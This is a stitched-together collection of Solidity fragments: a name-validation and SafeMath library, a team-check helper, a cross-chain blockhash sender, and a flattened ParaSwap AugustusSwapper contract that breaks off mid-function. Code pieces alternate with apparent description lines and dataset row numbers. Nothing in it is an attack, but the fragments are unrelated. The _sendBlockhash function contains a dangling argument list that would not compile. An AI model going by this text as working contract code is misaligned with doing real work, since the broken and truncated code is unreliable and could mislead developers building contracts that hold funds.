library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
|
checks to make sure user picked a valid team. if not sets team to default (sneks)/
|
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
| 27,630 |
./partial_match/1/0xC19d317c84e43F93fFeBa146f4f116A6F2B04663/sources/EthereumStateSender.sol
|
Internal function to send a blockhash to a destination chain destinationChain The destination chain destinationContract The destination contract currentPeriod Current period pay gas in eth the gas in exceed will be reimbursed to the msg.sender
|
function _sendBlockhash(address destinationContract, string calldata destinationChain, uint256 currentPeriod) internal {
string memory _destinationContract = destinationContract.toHexStringChecksumed();
bytes memory payload =
abi.encodeWithSignature("setEthBlockHash(uint256,bytes32)", blockNumbers[currentPeriod], blockHashes[currentPeriod]);
address(this), destinationChain, _destinationContract, payload, msg.sender
);
IAxelarGateway(AXELAR_GATEWAY).callContract(destinationChain, _destinationContract, payload);
destinationChains[currentPeriod][destinationChain] += 1;
emit BlockhashSent(blockNumbers[currentPeriod], blockHashes[currentPeriod], destinationChain);
}
| 4,018,654 |
/**
*Submitted for verification at Etherscan.io on 2021-04-02
*/
// File: original_contracts/IWhitelisted.sol
pragma solidity 0.7.5;
interface IWhitelisted {
function hasRole(
bytes32 role,
address account
)
external
view
returns (bool);
function WHITELISTED_ROLE() external view returns(bytes32);
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: original_contracts/lib/IExchange.sol
pragma solidity 0.7.5;
/**
* @dev This interface should be implemented by all exchanges which needs to integrate with the paraswap protocol
*/
interface IExchange {
/**
* @dev The function which performs the swap on an exchange.
* Exchange needs to implement this method in order to support swapping of tokens through it
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Amount of source tokens to be swapped
* @param toAmount Minimum destination token amount expected out of this swap
* @param exchange Internal exchange or factory contract address for the exchange. For example Registry address for the Uniswap
* @param payload Any exchange specific data which is required can be passed in this argument in encoded format which
* will be decoded by the exchange. Each exchange will publish it's own decoding/encoding mechanism
*/
//TODO: REMOVE RETURN STATEMENT
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload) external payable;
/**
* @dev The function which performs the swap on an exchange.
* Exchange needs to implement this method in order to support swapping of tokens through it
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Max Amount of source tokens to be swapped
* @param toAmount Destination token amount expected out of this swap
* @param exchange Internal exchange or factory contract address for the exchange. For example Registry address for the Uniswap
* @param payload Any exchange specific data which is required can be passed in this argument in encoded format which
* will be decoded by the exchange. Each exchange will publish it's own decoding/encoding mechanism
*/
function buy(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload) external payable;
/**
* @dev This function is used to perform onChainSwap. It build all the parameters onchain. Basically the information
* encoded in payload param of swap will calculated in this case
* Exchange needs to implement this method in order to support swapping of tokens through it
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Amount of source tokens to be swapped
* @param toAmount Minimum destination token amount expected out of this swap
*/
function onChainSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount
) external payable returns (uint256);
/**
* @dev Certain adapters/exchanges needs to be initialized.
* This method will be called from Augustus
*/
function initialize(bytes calldata data) external;
/**
* @dev Returns unique identifier for the adapter
*/
function getKey() external pure returns(bytes32);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: original_contracts/lib/SafeERC20.sol
pragma solidity 0.7.5;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: original_contracts/ITokenTransferProxy.sol
pragma solidity 0.7.5;
interface ITokenTransferProxy {
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
external;
function freeReduxTokens(address user, uint256 tokensToFree) external;
}
// File: original_contracts/lib/Utils.sol
pragma solidity 0.7.5;
library Utils {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address constant ETH_ADDRESS = address(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
address constant WETH_ADDRESS = address(
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
);
uint256 constant MAX_UINT = 2 ** 256 - 1;
/**
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Amount of source tokens to be swapped
* @param toAmount Minimum destination token amount expected out of this swap
* @param expectedAmount Expected amount of destination tokens without slippage
* @param beneficiary Beneficiary address
* 0 then 100% will be transferred to beneficiary. Pass 10000 for 100%
* @param referrer referral id
* @param path Route to be taken for this swap to take place
*/
struct SellData {
address fromToken;
uint256 fromAmount;
uint256 toAmount;
uint256 expectedAmount;
address payable beneficiary;
string referrer;
bool useReduxToken;
Utils.Path[] path;
}
struct MegaSwapSellData {
address fromToken;
uint256 fromAmount;
uint256 toAmount;
uint256 expectedAmount;
address payable beneficiary;
string referrer;
bool useReduxToken;
Utils.MegaSwapPath[] path;
}
struct BuyData {
address fromToken;
address toToken;
uint256 fromAmount;
uint256 toAmount;
address payable beneficiary;
string referrer;
bool useReduxToken;
Utils.BuyRoute[] route;
}
struct Route {
address payable exchange;
address targetExchange;
uint percent;
bytes payload;
uint256 networkFee;//Network fee is associated with 0xv3 trades
}
struct MegaSwapPath {
uint256 fromAmountPercent;
Path[] path;
}
struct Path {
address to;
uint256 totalNetworkFee;//Network fee is associated with 0xv3 trades
Route[] routes;
}
struct BuyRoute {
address payable exchange;
address targetExchange;
uint256 fromAmount;
uint256 toAmount;
bytes payload;
uint256 networkFee;//Network fee is associated with 0xv3 trades
}
function ethAddress() internal pure returns (address) {return ETH_ADDRESS;}
function wethAddress() internal pure returns (address) {return WETH_ADDRESS;}
function maxUint() internal pure returns (uint256) {return MAX_UINT;}
function approve(
address addressToApprove,
address token,
uint256 amount
) internal {
if (token != ETH_ADDRESS) {
IERC20 _token = IERC20(token);
uint allowance = _token.allowance(address(this), addressToApprove);
if (allowance < amount) {
_token.safeApprove(addressToApprove, 0);
_token.safeIncreaseAllowance(addressToApprove, MAX_UINT);
}
}
}
function transferTokens(
address token,
address payable destination,
uint256 amount
)
internal
{
if (amount > 0) {
if (token == ETH_ADDRESS) {
(bool result, ) = destination.call{value: amount, gas: 4000}("");
require(result, "Failed to transfer Ether");
}
else {
IERC20(token).safeTransfer(destination, amount);
}
}
}
function tokenBalance(
address token,
address account
)
internal
view
returns (uint256)
{
if (token == ETH_ADDRESS) {
return account.balance;
} else {
return IERC20(token).balanceOf(account);
}
}
/**
* @dev Helper method to refund gas using gas tokens
*/
function refundGas(
address account,
address tokenTransferProxy,
uint256 initialGas
)
internal
{
uint256 freeBase = 14154;
uint256 freeToken = 6870;
uint256 reimburse = 24000;
uint256 tokens = initialGas.sub(
gasleft()).add(freeBase).div(reimburse.mul(2).sub(freeToken)
);
freeGasTokens(account, tokenTransferProxy, tokens);
}
/**
* @dev Helper method to free gas tokens
*/
function freeGasTokens(address account, address tokenTransferProxy, uint256 tokens) internal {
uint256 tokensToFree = tokens;
uint256 safeNumTokens = 0;
uint256 gas = gasleft();
if (gas >= 27710) {
safeNumTokens = gas.sub(27710).div(1148 + 5722 + 150);
}
if (tokensToFree > safeNumTokens) {
tokensToFree = safeNumTokens;
}
ITokenTransferProxy(tokenTransferProxy).freeReduxTokens(account, tokensToFree);
}
}
// File: openzeppelin-solidity/contracts/GSN/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: original_contracts/IReduxToken.sol
pragma solidity 0.7.5;
interface IReduxToken {
function freeUpTo(uint256 value) external returns (uint256 freed);
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
function mint(uint256 value) external;
}
// File: original_contracts/TokenTransferProxy.sol
pragma solidity 0.7.5;
/**
* @dev Allows owner of the contract to transfer tokens on behalf of user.
* User will need to approve this contract to spend tokens on his/her behalf
* on Paraswap platform
*/
contract TokenTransferProxy is Ownable, ITokenTransferProxy {
using SafeERC20 for IERC20;
IReduxToken public reduxToken;
constructor(address _reduxToken) public {
reduxToken = IReduxToken(_reduxToken);
}
/**
* @dev Allows owner of the contract to transfer tokens on user's behalf
* @dev Swapper contract will be the owner of this contract
* @param token Address of the token
* @param from Address from which tokens will be transferred
* @param to Receipent address of the tokens
* @param amount Amount of tokens to transfer
*/
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
external
override
onlyOwner
{
IERC20(token).safeTransferFrom(from, to, amount);
}
function freeReduxTokens(address user, uint256 tokensToFree) external override onlyOwner {
reduxToken.freeFromUpTo(user, tokensToFree);
}
}
// File: original_contracts/IPartnerRegistry.sol
pragma solidity 0.7.5;
interface IPartnerRegistry {
function getPartnerContract(string calldata referralId) external view returns(address);
}
// File: original_contracts/IPartner.sol
pragma solidity 0.7.5;
interface IPartner {
function getPartnerInfo() external view returns(
address payable feeWallet,
uint256 fee,
uint256 partnerShare,
uint256 paraswapShare,
bool positiveSlippageToUser,
bool noPositiveSlippage
);
}
// File: original_contracts/lib/TokenFetcherAugustus.sol
pragma solidity 0.7.5;
contract TokenFetcherAugustus {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Allows owner of the contract to transfer any tokens which are assigned to the contract
* This method is for safety if by any chance tokens or ETHs are assigned to the contract by mistake
* @dev token Address of the token to be transferred
* @dev destination Recepient of the token
* @dev amount Amount of tokens to be transferred
*/
function transferTokens(
address token,
address payable destination,
uint256 amount
)
external
onlyOwner
{
Utils.transferTokens(token, destination, amount);
}
}
// File: original_contracts/IWETH.sol
pragma solidity 0.7.5;
abstract contract IWETH is IERC20 {
function deposit() external virtual payable;
function withdraw(uint256 amount) external virtual;
}
// File: original_contracts/IUniswapProxy.sol
pragma solidity 0.7.5;
interface IUniswapProxy {
function swapOnUniswap(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path
)
external
returns (uint256);
function swapOnUniswapFork(
address factory,
bytes32 initCode,
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path
)
external
returns (uint256);
function buyOnUniswap(
uint256 amountInMax,
uint256 amountOut,
address[] calldata path
)
external
returns (uint256 tokensSold);
function buyOnUniswapFork(
address factory,
bytes32 initCode,
uint256 amountInMax,
uint256 amountOut,
address[] calldata path
)
external
returns (uint256 tokensSold);
function setupTokenSpender(address tokenSpender) external;
}
// File: original_contracts/AdapterStorage.sol
pragma solidity 0.7.5;
contract AdapterStorage {
mapping (bytes32 => bool) internal adapterInitialized;
mapping (bytes32 => bytes) internal adapterVsData;
ITokenTransferProxy internal _tokenTransferProxy;
function isInitialized(bytes32 key) public view returns(bool) {
return adapterInitialized[key];
}
function getData(bytes32 key) public view returns(bytes memory) {
return adapterVsData[key];
}
function getTokenTransferProxy() public view returns (address) {
return address(_tokenTransferProxy);
}
}
// File: original_contracts/AugustusSwapper.sol
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
contract AugustusSwapper is AdapterStorage, TokenFetcherAugustus {
using SafeMath for uint256;
IWhitelisted private _whitelisted;
IPartnerRegistry private _partnerRegistry;
address payable private _feeWallet;
address private _uniswapProxy;
address private _pendingUniswapProxy;
uint256 private _changeRequestedBlock;
//Number of blocks after which UniswapProxy change can be confirmed
uint256 private _timelock;
event Swapped(
address initiator,
address indexed beneficiary,
address indexed srcToken,
address indexed destToken,
uint256 srcAmount,
uint256 receivedAmount,
uint256 expectedAmount,
string referrer
);
event Bought(
address initiator,
address indexed beneficiary,
address indexed srcToken,
address indexed destToken,
uint256 srcAmount,
uint256 receivedAmount,
string referrer
);
event FeeTaken(
uint256 fee,
uint256 partnerShare,
uint256 paraswapShare
);
event AdapterInitialized(address indexed adapter);
modifier onlySelf() {
require(
msg.sender == address(this),
"AugustusSwapper: Invalid access"
);
_;
}
receive () payable external {
}
function getTimeLock() external view returns(uint256) {
return _timelock;
}
function initialize(
address whitelist,
address reduxToken,
address partnerRegistry,
address payable feeWallet,
address uniswapProxy,
uint256 timelock
)
external
{
require(address(_tokenTransferProxy) == address(0), "Contract already initialized!!");
_partnerRegistry = IPartnerRegistry(partnerRegistry);
TokenTransferProxy lTokenTransferProxy = new TokenTransferProxy(reduxToken);
_tokenTransferProxy = ITokenTransferProxy(lTokenTransferProxy);
_whitelisted = IWhitelisted(whitelist);
_feeWallet = feeWallet;
_uniswapProxy = uniswapProxy;
_owner = msg.sender;
_timelock = timelock;
}
function initializeAdapter(address adapter, bytes calldata data) external onlyOwner {
require(
_whitelisted.hasRole(_whitelisted.WHITELISTED_ROLE(), adapter),
"Exchange not whitelisted"
);
(bool success,) = adapter.delegatecall(abi.encodeWithSelector(IExchange.initialize.selector, data));
require(success, "Failed to initialize adapter");
emit AdapterInitialized(adapter);
}
function getPendingUniswapProxy() external view returns(address) {
return _pendingUniswapProxy;
}
function getChangeRequestedBlock() external view returns(uint256) {
return _changeRequestedBlock;
}
function getUniswapProxy() external view returns(address) {
return _uniswapProxy;
}
function getVersion() external view returns(string memory) {
return "4.0.0";
}
function getPartnerRegistry() external view returns(address) {
return address(_partnerRegistry);
}
function getWhitelistAddress() external view returns(address) {
return address(_whitelisted);
}
function getFeeWallet() external view returns(address) {
return _feeWallet;
}
function changeUniswapProxy(address uniswapProxy) external onlyOwner {
require(uniswapProxy != address(0), "Invalid address");
_changeRequestedBlock = block.number;
_pendingUniswapProxy = uniswapProxy;
}
function confirmUniswapProxyChange() external onlyOwner {
require(
block.number >= _changeRequestedBlock.add(_timelock),
"Time lock check failed"
);
require(_pendingUniswapProxy != address(0), "No pending request");
_changeRequestedBlock = 0;
_uniswapProxy = _pendingUniswapProxy;
_pendingUniswapProxy = address(0);
}
function setFeeWallet(address payable feeWallet) external onlyOwner {
require(feeWallet != address(0), "Invalid address");
_feeWallet = feeWallet;
}
function setPartnerRegistry(address partnerRegistry) external onlyOwner {
require(partnerRegistry != address(0), "Invalid address");
_partnerRegistry = IPartnerRegistry(partnerRegistry);
}
function setWhitelistAddress(address whitelisted) external onlyOwner {
require(whitelisted != address(0), "Invalid whitelist address");
_whitelisted = IWhitelisted(whitelisted);
}
function swapOnUniswap(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
uint8 referrer
)
external
payable
{
//DELEGATING CALL TO THE ADAPTER
(bool success, bytes memory result) = _uniswapProxy.delegatecall(
abi.encodeWithSelector(
IUniswapProxy.swapOnUniswap.selector,
amountIn,
amountOutMin,
path
)
);
require(success, "Call to uniswap proxy failed");
}
function buyOnUniswap(
uint256 amountInMax,
uint256 amountOut,
address[] calldata path,
uint8 referrer
)
external
payable
{
//DELEGATING CALL TO THE ADAPTER
(bool success, bytes memory result) = _uniswapProxy.delegatecall(
abi.encodeWithSelector(
IUniswapProxy.buyOnUniswap.selector,
amountInMax,
amountOut,
path
)
);
require(success, "Call to uniswap proxy failed");
}
function buyOnUniswapFork(
address factory,
bytes32 initCode,
uint256 amountInMax,
uint256 amountOut,
address[] calldata path,
uint8 referrer
)
external
payable
{
//DELEGATING CALL TO THE ADAPTER
(bool success, bytes memory result) = _uniswapProxy.delegatecall(
abi.encodeWithSelector(
IUniswapProxy.buyOnUniswapFork.selector,
factory,
initCode,
amountInMax,
amountOut,
path
)
);
require(success, "Call to uniswap proxy failed");
}
function swapOnUniswapFork(
address factory,
bytes32 initCode,
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
uint8 referrer
)
external
payable
{
//DELEGATING CALL TO THE ADAPTER
(bool success, bytes memory result) = _uniswapProxy.delegatecall(
abi.encodeWithSelector(
IUniswapProxy.swapOnUniswapFork.selector,
factory,
initCode,
amountIn,
amountOutMin,
path
)
);
require(success, "Call to uniswap proxy failed");
}
function simplBuy(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 toAmount,
address[] memory callees,
bytes memory exchangeData,
uint256[] memory startIndexes,
uint256[] memory values,
address payable beneficiary,
string memory referrer,
bool useReduxToken
)
external
payable
{
beneficiary = beneficiary == address(0) ? msg.sender : beneficiary;
